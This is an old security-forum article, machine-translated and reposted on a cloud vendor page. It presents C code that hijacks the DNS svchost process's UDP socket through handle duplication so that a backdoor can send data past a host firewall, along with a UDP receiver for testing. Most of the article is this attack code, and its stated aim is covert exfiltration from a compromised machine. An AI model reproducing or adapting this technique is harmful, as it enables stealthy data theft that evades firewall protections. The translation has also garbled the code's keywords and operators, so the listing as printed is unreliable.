A new data transmission technology that passes through the firewall

Source: Internet
Author: User
Tags htons
A new data transmission technology that passes through the firewall

From: http://www.xfocus.net/articles/200504/791.html
Creation Time: Update Time:
Article attributes: original
Article submitted: suei8423 (suei8423_at_163.com)

A new data transmission technology that passes through the firewall

Author: Zwell
Email: zwell@sohu.com
Date: 2005.4.12

Background:
When a backdoor is installed on the target host, the data needs to be transmitted. At the same time, the data is very important and the action cannot be too large. In other cases, the technology is not recommended (I will discuss why later ).

In some cases of the current firewall, if your process opens a port (or even creates a socket), it will be blocked.
On the contrary, we know that the process verified by the firewall will never be blocked when transmitting data. Therefore, my idea is simple:
Take the socket handle that allows data transmission in other processes as used. The process is as follows:

1. Find the target process
2. Find the socket handle
2. Use the duplicatehandle () function to convert its socket to be usable by itself.
3. Use the converted socket for data transmission

The above process is very simple, but there are still some problems in actual implementation (we will discuss it later). Besides, the above implementation method is also
It can be seen that the socket of the target process cannot be TCP, because the TCP handle has established a connection with the outside, so it can only be UDP.
It is difficult to locate a stable process socket for different processes in different systems.

You are a little frustrated when you see the above, right ".

We know that as long as a computer is connected to the network, there is a kind of data transmission that will not be blocked, that is, DNS. You can imagine that domain name resolution data will be
Why? Hey, since this is never blocked, and it is UDP transmission, we will take his knife...

The following is an example of directly controlling the dnsprocess (actually, svchost.exe, but the corresponding user name is Network Service) for data transmission.
There are many problems in programming. For example, when obtaining the user name corresponding to svchost, there is no permission (but the local service can be operated), and The getsockname operation stops when the handle value is 0x2c.
For specific solutions, please refer to the comments section...

/* ++

Made by Zwell
Zwell@sohu.com
2005.4.12
--*/

# Include <winsock2.h>
# Include <stdio. h>
# Include <wtsapi32.h>

# Pragma comment (Lib, "ws2_32 ")
# Pragma comment (Lib, "wtsapi32 ")

# Define nt_success (Status) (ntstatus) (Status)> = 0)
# Define status_info_length_mismatch (ntstatus) 0xc0000004l)

Typedef long ntstatus;

Typedef struct _ system_handle_information
{
Ulong processid;
Uchar objecttypenumber;
Uchar flags;
Ushort handle;
Pvoid object;
Access_mask grantedaccess;
} System_handle_information, * psystem_handle_information;

Typedef ulong (winapi * zwquerysysteminformation) (ulong, pvoid, ulong, Pulong );

Zwquerysysteminformation = NULL;

Bool locatentdllentry (void)
{
Bool ret = false;
Char ntdll_dll [] = "NTDLL. dll ";
Hmodule ntdll_dll = NULL;

If (ntdll_dll = getmodulehandle (ntdll_dll) = NULL)
{
Printf ("getmodulehandle () failed ");
Return (false );
}
If (! (Zwquerysysteminformation = (zwquerysysteminformation) getprocaddress (ntdll_dll, "zwquerysysteminformation ")))
{
Goto locatentdllentry_exit;
}
Ret = true;

Locatentdllentry_exit:

If (false = RET)
{
Printf ("getprocaddress () failed ");
}
Ntdll_dll = NULL;
Return (RET );
}

/* ++
This routine is used to get a process's username from it's Sid
--*/
Bool getusernamefromsid (psid pusersid, char * szusername)
{
// Sanity checks and default value
If (pusersid = NULL)
Return false;
Strcpy (szusername ,"? ");

Sid_name_use snu;
Tchar szuser [_ max_path];
DWORD chuser = _ max_path;
Pdword pcchuser = & chuser;
Tchar szdomain [_ max_path];
DWORD chdomain = _ max_path;
Pdword pcchdomain = & chdomain;

// Retrieve user name and domain name based on user's Sid.
If (
: Lookupaccountsid (
Null,
Pusersid,
Szuser,
Pcchuser,
Szdomain,
Pcchdomain,
& Snu
)
)
{
Wsprintf (szusername, "% s", szuser );
}
Else
{
Return false;
}

Return true;
}

/* ++

This routine is used to get the DNS process's ID

Here, I use wtsenumerateprocesses to get process user Sid,
And then get the process user name. Beacause as it's a "network service ",
We cann't use openprocessor en to catch the DNS process's token information,
Even if we has the privilege in catching the system's.

--*/
DWORD getdnsprocessid ()
{
Pwts_process_info pprocessinfo = NULL;
DWORD processcount = 0;
Char szusername [255];
DWORD id =-1;

If (wtsenumerateprocesses (wts_current_server_handle, 0, 1, & pprocessinfo, & processcount ))
{
// Dump each process description
For (DWORD currentprocess = 0; currentprocess <processcount; currentprocess ++)
{

If (strcmp (pprocessinfo [currentprocess]. pprocessname, "svchost.exe") = 0)
{
Getusernamefromsid (pprocessinfo [currentprocess]. pusersid, szusername );
If (strcmp (szusername, "Network Service") = 0)
{
Id = pprocessinfo [currentprocess]. processid;
Break;
}
}
}

Wtsfreememory (pprocessinfo );
}

Return ID;
}

/* ++
This doesn't work as we know, sign...
But you can use the routine for other useing...
--*/
/*
Bool getprocessuserfromid (char * szaccountname, dword pid)
{
Handle hprocess = NULL,
Haccesstoken = NULL;
Tchar infobuffer [1000], szdomainname [200];
Ptoken_user ptokenuser = (ptoken_user) infobuffer;
DWORD dwinfobuffersize, dwaccountsize = 200, dwdomainsize = 200;
Sid_name_use snu;

Hprocess = OpenProcess (process_query_information, false, pid );
If (hprocess = NULL)
{
Printf ("OpenProcess wrong ");
Closehandle (hprocess );
Return false;
}

If (0 = openprocesstoken (hprocess, token_query, & haccesstoken ))
{
Printf ("openprocesstoken wrong: % 08x", getlasterror ());
Return false;
}

Gettokeninformation (haccesstoken, tokenuser, infobuffer,
1000, & dwinfobuffersize );

Lookupaccountsid (null, ptokenuser-> User. Sid, szaccountname,
& Dwaccountsize, szdomainname, & dwdomainsize, & snu );

If (hprocess)
Closehandle (hprocess );
If (haccesstoken)
Closehandle (haccesstoken );
Return true;
}*/

/* ++
Now, it is the most important stuff... ^_^
--*/
Socket getsocketfromid (dword pid)
{
Ntstatus status;
Pvoid Buf = NULL;
Ulong size = 1;
Ulong numofhandle = 0;
Ulong I;
Psystem_handle_information h_info = NULL;
Handle sock = NULL;
Dword n;

Buf = malloc (0x1000 );
If (BUF = NULL)
{
Printf ("malloc wrong/N ");
Return NULL;
}
Status = zwquerysysteminformation (0x10, Buf, 0x1000, & N );
If (status_info_length_mismatch = Status)
{
Free (BUF );
Buf = malloc (N );
If (BUF = NULL)
{
Printf ("malloc wrong/N ");
Return NULL;
}
Status = zwquerysysteminformation (0x10, Buf, N, null );
}
Else
{
Printf ("zwquerysysteminformation wrong/N ");
Return NULL;
}

Numofhandle = * (ulong *) BUF;

H_info = (psystem_handle_information) (ulong) BUF + 4 );

For (I = 0; I <numofhandle; I ++)
{
Try
{
If (h_info [I]. processid = PID) & (h_info [I]. objecttypenumber = 0x1c)
& (H_info [I]. Handle! = 0x2c) // I don't know why if the handle equal to 0x2c, in my test, it stops at getsockname ()
// So I jump over this situation...
// May be it's different in your system,
) // Wind2000 is 0x1a
{
// Printf ("handle: 0x % x type: % 08x/N", h_info [I]. Handle, h_info [I]. objecttypenumber );
If (0 = duplicatehandle (
OpenProcess (process_all_access, true, pid ),
(Handle) h_info [I]. handle,
Getcurrentprocess (),
& Sock,
Standard_rights_required,
True,
Duplicate_same_access)
)
{
Printf ("duplicatehandle wrong: % 8x", getlasterror ());
Continue;
}

// Printf ("duplicatehandle OK/N ");
Sockaddr_in name = {0 };
Name. sin_family = af_inet;
Int namelen = sizeof (sockaddr_in );
Getsockname (socket) sock, (sockaddr *) & name, & namelen );
// Printf ("Port = % 5d/N", ntohs (name. sin_port ));
If (ntohs (name. sin_port)> 0) // If Port> 0, then we can use it
Break;
}
}
Catch (...)
{
Continue;
}
}

If (BUF! = NULL)
{
Free (BUF );
}
Return (socket) sock;
}

/* ++
This is not required...
--*/
Bool enableprivilege (pcstr name)
{
Handle htoken;
Bool RV;

Token_privileges priv = {1, {0, 0, se_privilege_enabled }};
Lookupprivilegevalue (
0,
Name,
& Priv. Privileges [0]. luid
);

Priv. Privileges [0]. Attributes = se_privilege_enabled;

Openprocesstoken (
Getcurrentprocess (),
Token_adjust_privileges,
& Htoken
);

Adjusttokenprivileges (
Htoken,
False,
& Priv,
Sizeof priv,
0,
0
);

Rv = getlasterror () = error_success;

Closehandle (htoken );
Return RV;
}

Void main ()
{
Wsadata;
Char testbuf [255];
Socket sock;
Sockaddr_in recvaddr;

Int iresult = wsastartup (makeword (2, 2), & wsadata );
If (iresult! = No_error)
Printf ("error at wsastartup ()/n ");

If (! Locatentdllentry ())
Return;

If (! Enableprivilege (se_debug_name ))
{
Printf ("enableprivilege wrong/N ");
Return;
}

Sock = getsocketfromid (getdnsprocessid ());
If (sock = NULL)
{
Printf ("getsocketfromid wrong/N ");
Return;
}

// Change there value...
Recvaddr. sin_family = af_inet;
Recvaddr. sin_port = htons (5555 );
Recvaddr. sin_addr.s_addr = inet_addr ("127.0.0.1 ");

If (socket_error = sendto (sock,
"Test ",
5,
0,
(Sockaddr *) & recvaddr,
Sizeof (recvaddr )))
{
Printf ("sendto wrong: % d/N", wsagetlasterror ());
}
Else
{
Printf ("Send OK... have fun, right? __^/N ");
}

Getchar ();

// Wsacleanup ();
Return;
}

I had this idea a long time ago, but I never implemented it. In the code above,
For the sake of looking for a dnsprocess, and svchost.exe has more than one, we use the user name to determine whether to use openprocesstoken,
But it doesn't work either, so I used the wtsapi32 library function in another way.

Use the following code for testing:

/* ++
Udpreceiver
--*/
# Include <stdio. h>
# Include "winsock2.h"

# Pragma comment (Lib, "ws2_32 ")

Void main ()
{
Wsadata;
Socket recvsocket;
Sockaddr_in recvaddr;
Int Port = 5555;
Char recvbuf [1024];
Int buckets FLEN = 1024;
Sockaddr_in senderaddr;
Int senderaddrsize = sizeof (senderaddr );

//-----------------------------------------------
// Initialize Winsock
Wsastartup (makeword (2, 2), & wsadata );

//-----------------------------------------------
// Create a receiver er socket to receive receiver rams
Recvsocket = socket (af_inet, sock_dgram, ipproto_udp );

//-----------------------------------------------
// Bind the socket to any address and the specified port.
Recvaddr. sin_family = af_inet;
Recvaddr. sin_port = htons (port );
Recvaddr. sin_addr.s_addr = htonl (inaddr_any );

BIND (recvsocket, (sockaddr *) & recvaddr, sizeof (recvaddr ));

//-----------------------------------------------
// Call the recvfrom function to receive datagrams
// On the bound socket.
Printf ("inserting ing into rams.../N ");
While (1)
{
Recvfrom (recvsocket,
Recvbuf,
Buflen,
0,
(Sockaddr *) & senderaddr,
& Senderaddrsize );
Printf ("% s/n", recvbuf );
}

//-----------------------------------------------
// Close the socket when finished processing ing into rams
Printf ("finished locking ing. Closing socket./N ");
Closesocket (recvsocket );

//-----------------------------------------------
// Clean up and exit.
Printf ("exiting./N ");
Wsacleanup ();
Return;
}

Test procedure:
1. Run udpreceiver on one machine,
2. Execute the first program on the machine where the firewall is installed.

If you have any questions, I hope you can exchange them... ^_^

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.